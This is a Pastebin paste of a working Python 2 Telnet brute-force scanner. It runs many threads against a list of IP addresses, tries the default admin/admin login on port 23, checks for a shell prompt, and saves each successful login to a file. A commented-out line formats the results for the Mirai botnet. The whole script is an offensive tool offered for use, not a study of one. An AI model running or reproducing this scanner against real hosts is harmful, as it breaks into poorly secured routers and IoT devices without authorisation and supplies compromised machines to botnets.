Dr-L0v3

Telnet Bruter v1

Dec 21st, 2017
489
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.63 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Telnet Bruter v1
  3. # Dr.L0v3
  4.  
  5. import threading, sys, os, re, time, socket
  6. from Queue import *
  7. from sys import stdout
  8.  
  9. if len(sys.argv) < 4:
  10.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  11.     sys.exit()
  12.  
  13. ips = open(sys.argv[1], "r").readlines()
  14. threads = int(sys.argv[2])
  15. output_file = sys.argv[3]
  16. queue = Queue()
  17. username = "admin" #user
  18. password = "admin" #pass
  19. queue_count = 0
  20.  
  21. for ip in ips:
  22.     queue_count += 1
  23.     stdout.write("\r[%d] Added to queue" % queue_count)
  24.     stdout.flush()
  25.     queue.put(ip)
  26. print "\n"
  27.  
  28. def readUntil(tn, string, timeout=8):
  29.     buf = ''
  30.     start_time = time.time()
  31.     while time.time() - start_time < timeout:
  32.         buf += tn.recv(2048)
  33.         time.sleep(0.01)
  34.         if string in buf: return buf
  35.     raise Exception('TIMEOUT!')
  36.  
  37. def w():
  38.     try:
  39.         while True:
  40.             try:
  41.                 IP = queue.get()
  42.                 st4rt = brute(IP)
  43.                 st4rt.start()
  44.                 queue.task_done()
  45.                 time.sleep(0.02)
  46.             except:
  47.                 print "[*] THREAD UNABLE TO START" #may spam if finished
  48.                 pass
  49.     except:
  50.         pass
  51.  
  52. class brute(threading.Thread):
  53.     def __init__ (self, ip):
  54.         threading.Thread.__init__(self)
  55.         self.ip = str(ip).rstrip('\n')
  56.     def run(self):
  57.         try:
  58.             try:
  59.                 tn = socket.socket()
  60.                 tn.settimeout(5)
  61.                 tn.connect((self.ip,23))
  62.             except Exception:
  63.                 tn.close()
  64.             try:
  65.                 hoho = ''
  66.                 time.sleep(0.01)
  67.                 hoho += readUntil(tn, ":")
  68.                 if "ogin" in hoho and "User Access" not in hoho and "Copyright" not in hoho and "*" not in hoho and "+" not in hoho and "Authentification" not in hoho and "Enter password>" not in hoho and "Huawei Technologies" not in hoho and "Copyright(c)" not in hoho:
  69.                     tn.send(username + "\n")
  70.                     time.sleep(0.1)
  71.             except Exception:
  72.                 tn.close()
  73.             try:
  74.                 hoho = ''
  75.                 hoho += readUntil(tn, ":")
  76.                 if "assword" in hoho:
  77.                     tn.send(password + "\n")
  78.                     time.sleep(0.2)
  79.             except Exception:
  80.                 tn.close()
  81.             try:
  82.                 prompt = ''
  83.                 prompt += tn.recv(40960)
  84.                 if "Incorrect" in prompt or "User Access" in prompt or "Login failed" in prompt or "Login invalid." in prompt or "connection closed by" in prompt or "bad" in prompt or "Bad" in prompt or "###" in prompt or "##" in prompt or "invalid" in prompt or "incorrect" in prompt or "denied" in prompt or "failed" in prompt or "**" in prompt or "rong" in prompt or "Invalid password entered" in prompt:
  85.                     tn.close()
  86.                 else:
  87.                     if "%" in prompt or "$" in prompt or "#" in prompt or ">" in prompt:
  88.                         print "[!] FOUND LOGIN %s!"%(self.ip)
  89.                         os.system("echo "+self.ip+":"+username+":"+password+" >> "+output_file+"")    # 1.1.1.1:user:pass # regular
  90.                         #os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  91.                         tn.close()
  92.             except Exception:
  93.                 tn.close()
  94.         except:
  95.             pass
  96.    
  97. for l in xrange(threads):
  98.     try:
  99.         t = threading.Thread(target=w)
  100.         t.start()
  101.         time.sleep(0.002)
  102.     except:
  103.         print "[-] FAILED TO START WORKER THREAD"
  104.         pass
Advertisement
Add Comment
Please, Sign In to add comment